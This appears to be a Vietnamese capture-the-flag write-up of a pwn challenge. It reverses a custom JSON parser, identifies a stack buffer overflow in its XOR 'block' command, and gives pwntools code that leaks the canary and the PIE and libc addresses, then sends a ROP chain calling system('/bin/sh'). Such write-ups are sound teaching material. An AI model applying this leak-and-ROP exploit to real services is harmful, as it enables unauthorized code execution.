# WU Rendezvous ACS ### I. Phân tích - Sau khi re binary thì mình sẽ tạo lại 2 struct như sau: ``` 00000000 data struc ; (sizeof=0x50, mappedto_20) 00000000 next dq ? ; offset 00000008 back dq ? ; offset 00000010 base dq ? ; offset 00000018 type dd ? 0000001C field_1C dd ? 00000020 str dq ? ; offset 00000028 val dd ? 0000002C field_2C dd ? 00000030 field_30 dq ? 00000038 key dq ? ; offset 00000040 field_40 dq ? 00000048 field_48 dq ? 00000050 data ends ``` ``` 00000000 pk struc ; (sizeof=0x38, mappedto_21) 00000000 data dq ? ; XREF: sub_3788+2A/w 00000000 ; sub_3788+9A/w ... ; offset 00000008 size dq ? 00000010 idx dq ? 00000018 field_18 dq ? ; XREF: sub_3788+42/w 00000020 malloc dq ? ; XREF: sub_3788+4A/w 00000020 ; sub_3788+BC/w 00000028 free dq ? 00000030 realloc dq ? 00000038 pk ends 00000038 ``` - Với struct `pk` được sử dụng để sử lý chuỗi đầu vào và struct `data` là kết quả của việc sử lý chuỗi đầu vào. Chương trình sẽ sử lý chuỗi đầu vào dạng `array = []` hoặc `list = {}` để thực hiện một tính năng nào đó. - Data đầu vào sẽ được sử lý tại hàm calc: ```c __int64 __fastcall calc(data *a1, pk *a2) { if ( !a2 || !a2->data ) return 0LL; if ( a2->idx + 4 <= a2->size && !strncmp(&a2->data[a2->idx], "null", 4uLL) ) { a1->type = 4; a2->idx += 4LL; return 1LL; } else if ( a2->idx + 5 <= a2->size && !strncmp(&a2->data[a2->idx], "false", 5uLL) ) { a1->type = 1; a2->idx += 5LL; return 1LL; } else if ( a2->idx + 4 <= a2->size && !strncmp(&a2->data[a2->idx], "true", 4uLL) ) { a1->type = 2; a1->val = 1; a2->idx += 4LL; return 1LL; } else if ( a2->idx < a2->size && a2->data[a2->idx] == '"' ) { return string(a1, a2); } else if ( a2->idx < a2->size && (a2->data[a2->idx] == '-' || a2->data[a2->idx] > '/' && a2->data[a2->idx] <= '9') ) { return number(a1, a2); } else if ( a2->idx < a2->size && a2->data[a2->idx] == '[' ) { return array(a1, a2); } else if ( a2->idx < a2->size && a2->data[a2->idx] == '{' ) { return list(a1, a2); } else { return 0LL; } ``` - Mình sẽ focus vào các hàm xử lý như `string`, `number`, `array` và `list`. - Trong `string` mình sẽ focus vào phần trên này: ```c v13 = &a2->data[a2->idx + 1]; v14 = &a2->data[a2->idx + 1]; v12 = 0LL; v15 = 0LL; if ( a2->data[a2->idx] == '"' ) { v17 = 0LL; v16 = 0LL; while ( v14 - a2->data < a2->size && *v14 != '"' ) { if ( *v14 == 92 ) { if ( v14 + 1 - a2->data >= a2->size ) goto LABEL_35; ++v16; ++v14; } ++v14; } if ( v14 - a2->data < a2->size && *v14 == '"' ) { v17 = v14 - &a2->data[a2->idx] - v16; v15 = (char *)((__int64 (__fastcall *)(__int64))a2->malloc)(v17 + 1); if ( v15 ) { v12 = v15; while ( 1 ) { while ( 1 ) { if ( v13 >= v14 ) { *v12 = 0; a1->type = 16; a1->str = v15; a2->idx = v14 - a2->data; ++a2->idx; return 1LL; } ``` - Đầu tiên nó sẽ duyệt từ phần tử `"` để tính toán độ dài chuỗi lưu vào `v17` sau đó thực hiện cấp phát vùng nhớ tại `v15` với độ dài tương ứng vào lưu vào đó. Sau khi kết thúc chúng thực hiện đưa con trỏ `v15` vào trường `str` của `a1` và gán type = 16 đại diện cho `string`. - Tiếp theo là `number`: ```c __int64 __fastcall number(data *a1, pk *a2) { unsigned int v3; // eax __int64 v4; // rax _BYTE v5[9]; // [rsp+17h] [rbp-69h] BYREF unsigned __int64 i; // [rsp+20h] [rbp-60h] double v7; // [rsp+28h] [rbp-58h] char nptr[72]; // [rsp+30h] [rbp-50h] BYREF unsigned __int64 v9; // [rsp+78h] [rbp-8h] v9 = __readfsqword(0x28u); v7 = 0.0; v5[8] = 0; *(_QWORD *)v5 = (unsigned __int8)sub_20C7(); i = 0LL; if ( !a2 || !a2->data ) return 0LL; for ( i = 0LL; i <= 62; ++i ) { if ( i + a2->idx >= a2->size ) break; v3 = (unsigned __int8)a2->data[a2->idx + i] - 43; if ( v3 > 58 ) break; v4 = 1LL << v3; if ( (v4 & 0x400000004007FE5LL) != 0 ) { nptr[i] = a2->data[a2->idx + i]; } else { if ( (v4 & 8) == 0 ) break; nptr[i] = v5[0]; } } nptr[i] = 0; v7 = strtod(nptr, (char **)&v5[1]); if ( *(char **)&v5[1] == nptr ) return 0LL; a1->field_30 = v7; if ( v7 < 2147483647.0 ) { if ( v7 > -2147483648.0 ) a1->val = (int)v7; else a1->val = 0x80000000; } else { a1->val = 0x7FFFFFFF; } a1->type = 8; a2->idx += *(_QWORD *)&v5[1] - (_QWORD)nptr; return 1LL; } ``` - Chúng thực hiện chuyển chuỗi sang số thông qua tính toán cùng với `strtod` để chuyển sang `double` rồi nó mới ép kiểu sang `int` sau đó nó được lưu tại trường `val` của `a1`, type của nó được gán là 8. - Tiếp theo là `array`: ```c skip_space(a2); if ( !a2 || a2->idx >= a2->size || a2->data[a2->idx] != 93 ) { if ( a2 && a2->idx < a2->size ) { --a2->idx; while ( 1 ) { v5 = (data *)call_fun((__int64 (__fastcall **)(__int64))&a2->malloc); if ( !v5 ) break; if ( v3 ) { v4->next = v5; v5->back = v4; } else { v3 = v5; } v4 = v5; ++a2->idx; skip_space(a2); if ( !(unsigned int)calc(v5, a2) ) break; skip_space(a2); if ( a2->idx >= a2->size || a2->data[a2->idx] != ',' ) { if ( a2->idx >= a2->size || a2->data[a2->idx] != ']' ) break; goto LABEL_20; } } } ``` - `Array` sẽ start bằng `[` và duyệt đến `]`, tiếp theo chúng setup một số thứ để thực hiện duyệt các con bên trong bằng đệ quy gọi lại `calc`, mỗi phần tử con cách nhau bằng `,` và loại này được gán type = 32. - Cuối cùng là `list`: ```c skip_space(a2); if ( a2->idx >= a2->size || a2->data[a2->idx] != 125 ) { if ( a2->idx < a2->size ) { --a2->idx; while ( 1 ) { v5 = (data *)call_fun((__int64 (__fastcall **)(__int64))&a2->malloc); if ( !v5 ) break; if ( v3 ) { v4->next = v5; v5->back = v4; } else { v3 = v5; } v4 = v5; ++a2->idx; skip_space(a2); if ( !(unsigned int)string(v5, a2) ) break; skip_space(a2); v5->key = v5->str; v5->str = 0LL; if ( a2->idx >= a2->size ) break; if ( a2->data[a2->idx] != ':' ) break; ++a2->idx; skip_space(a2); if ( !(unsigned int)calc(v5, a2) ) break; skip_space(a2); if ( a2->idx >= a2->size || a2->data[a2->idx] != ',' ) { if ( a2->idx >= a2->size || a2->data[a2->idx] != '}' ) break; goto LABEL_23; } } } else { --a2->idx; } LABEL_26: if ( v3 ) sub_1FC7(v3); return 0LL; } LABEL_23: --a2->field_18; if ( v3 ) v3->back = v4; a1->type = 64; a1->base = v3; ++a2->idx; return 1LL; ``` - Tương tự như `array` nhưng nó có thêm `:` để phân cách giữa 2 giá trị là `key` và `value` tương ứng, type của nó được gán là 64. - `Array` và `List` sẽ được gán thêm trường `base`, `next` và `back` để chúng thực hiện duyệt các phần tử con trong đó. - Hai chức năng này sẽ có thêm một số hàm bổ trợ như `get_value_json`, `len_array`. - Chương trình gồm 3 tính năng chính: - Thực hiện login với `cmd = 0`: ```c if ( !cmd ) { v20 = get_value_json(v12, "pass"); if ( !v20 || !check_type_string(v20) ) return 0xFFFFFFFFLL; if ( !strcmp(v20->str, passwd) ) auth = 1; goto LABEL_64; } ``` - Thực hiện việc tạo `key` string với `cmd = 1`: ```c if ( cmd == 1 ) { if ( !auth ) return 0xFFFFFFFFLL; v17 = get_value_json(v12, "key"); if ( !v17 || !check_type_array(v17) ) return 0xFFFFFFFFLL; v2 = len_array(v17); size = v2; if ( v2 <= 0 ) return 0xFFFFFFFFLL; v19 = (char *)malloc(v2); if ( !v19 ) return 0xFFFFFFFFLL; v6 = 0LL; for ( k = v17->base; k; k = k->next ) { if ( !check_type_number(k) ) return 0xFFFFFFFFLL; v3 = v6++; v19[v3] = k->val; } if ( key ) free(key); key = v19; key_size = size; goto LABEL_64; } ``` - Tính năng cuối cùng có thể là mã hóa hoặc gì đó mình không rõ với `cmd = 2`, đây cũng là tính năng gây ra lỗi overflow khi biến `v21` được khai báo kiểu char với 264 byte. ```c if ( cmd != 2 ) break; if ( !auth || !key || !key_size ) return 0xFFFFFFFFLL; v14 = get_value_json(v12, "block"); if ( !v14 || !check_type_array(v14) ) return 0xFFFFFFFFLL; v4 = len_array(v14); v15 = v4; if ( v4 <= 0 || v4 > (unsigned __int64)key_size ) return 0xFFFFFFFFLL; v8 = 0LL; for ( i = v14->base; i; i = i->next ) { ++v8; if ( check_type_number(i) ) v21[v8 - 1] = i->val ^ key[v8 - 1]; } v16 = get_value_json(v12, "content"); if ( !v16 || !check_type_array(v16) ) return 0xFFFFFFFFLL; puts("\n--- start ---"); v10 = 0LL; for ( j = v16->base; j; j = j->next ) { if ( !check_type_number(j) ) return 0xFFFFFFFFLL; v5 = v10++; putchar((unsigned __int8)j->val ^ (unsigned __int8)v21[v5 % v15]); } puts("\n---- end ----"); ``` - Biến `cmd` được lấy như sau `{"cmd": cmd}`: ```c v13 = get_value_json(v12, "cmd"); if ( !v13 ) return 0xFFFFFFFFLL; if ( !check_type_number(v13) ) return 0xFFFFFFFFLL; cmd = v13->val; ``` - Để đạt được các tính năng còn lại thì đầu tiên ta sẽ phải login trước nên ta cần lấy `passwd` được in ra lúc đầu để login. Ngoài ra thì trong `data` chúng ta sẽ cần một `header`. ```python class data: def __init__(self): self.header = b'\xef\xbb\xbf' self.data = b'' def craft(self): return self.header+self.data passwd = r.recvline(False).decode() pk = data() # authen pk.data = '{{"cmd": 0, "pass": "{}"}}'.format(passwd).encode() r.sendline(pk.craft()) ``` - Có overflow nhưng lại dính `canary` và `pie` thì trước hết ta cần phải leak và ngay tại chức năng `2` ta có thể in ra nhưng gì của `v21`: ```c if ( !auth || !key || !key_size ) return 0xFFFFFFFFLL; v14 = get_value_json(v12, "block"); if ( !v14 || !check_type_array(v14) ) return 0xFFFFFFFFLL; v4 = len_array(v14); v15 = v4; if ( v4 <= 0 || v4 > (unsigned __int64)key_size ) return 0xFFFFFFFFLL; v8 = 0LL; for ( i = v14->base; i; i = i->next ) { ++v8; if ( check_type_number(i) ) v21[v8 - 1] = i->val ^ key[v8 - 1]; } v16 = get_value_json(v12, "content"); if ( !v16 || !check_type_array(v16) ) return 0xFFFFFFFFLL; puts("\n--- start ---"); v10 = 0LL; for ( j = v16->base; j; j = j->next ) { if ( !check_type_number(j) ) return 0xFFFFFFFFLL; v5 = v10++; putchar((unsigned __int8)j->val ^ (unsigned __int8)v21[v5 % v15]); } puts("\n---- end ----"); ``` - Nhưng để đến được đây thì ta cần phải đi qua mấy thứ trên. Đầu tiên thì ta cần `key` thế nên ta sẽ phải thực hiện tính năng `1`. Như trên thì `key` dùng để xor từng phần tử của `block` và lưu vào `v21` nên mình sẽ chọn đại một giá trị `"key":[0,....]`. - Mà điều này cũng không quan trọng lắm, ta có thể thấy lúc in từ `v21` thì `v21[v5 % v15]` với `v15` là kích thước của array của `block` và nó sẽ không bao giờ in ra quá `v15`. Tức là càng nhiều phần tử thì càng in ra nhiều? Không hẳn, vì nếu như càng nhiều `number` trong `array` của `block` thì nó sẽ thực hiện phép xor càng nhiều và nó sẽ đè luôn giá trị của canary. Để làm tăng `v15` mà không bị xor thì ta chỉ cần chỉ định type là dạng string là được. ```c # create key. pk.data = '{{"cmd": 1, "key": [{}]}}'.format('0,'*0x150 + '0').encode() r.sendline(pk.craft()) # leak pk.data = '{{"cmd": 2, "block": [{}], "content": [{}]}}'.format('97,'*0x105 + '98,99,100,' + '"a",'*0x48 + '"a"', '0,'*0x140 + '0').encode() r.sendline(pk.craft()) r.recvuntil(b'abcd') canary = u64(r.recv(8)) info("Canary: "+hex(canary)) stack = u64(r.recv(8)) info("Stack: "+hex(stack)) exe.address = u64(r.recv(8)) - 0xb75 info("Binary: "+hex(exe.address)) r.recv(24) libc.address = u64(r.recv(8)) - 0x29d90 info("Libc: "+hex(libc.address)) ``` - Sau khi leak thì thực hiện overflow và lấy shell: ```python pop_rdi = libc.address + 0x000000000002a3e5 payload = flat( canary, 0, pop_rdi, next(libc.search(b'/bin/sh')), pop_rdi+1, libc.sym['system'] ) pk.data = '{{"cmd": 2, "block": [{}]}}'.format('98,'*0x108 + ','.join(str(byte) for byte in payload)).encode() r.sendline(pk.craft()) ``` ![image](https://hackmd.io/_uploads/rk7xE4oV6.png)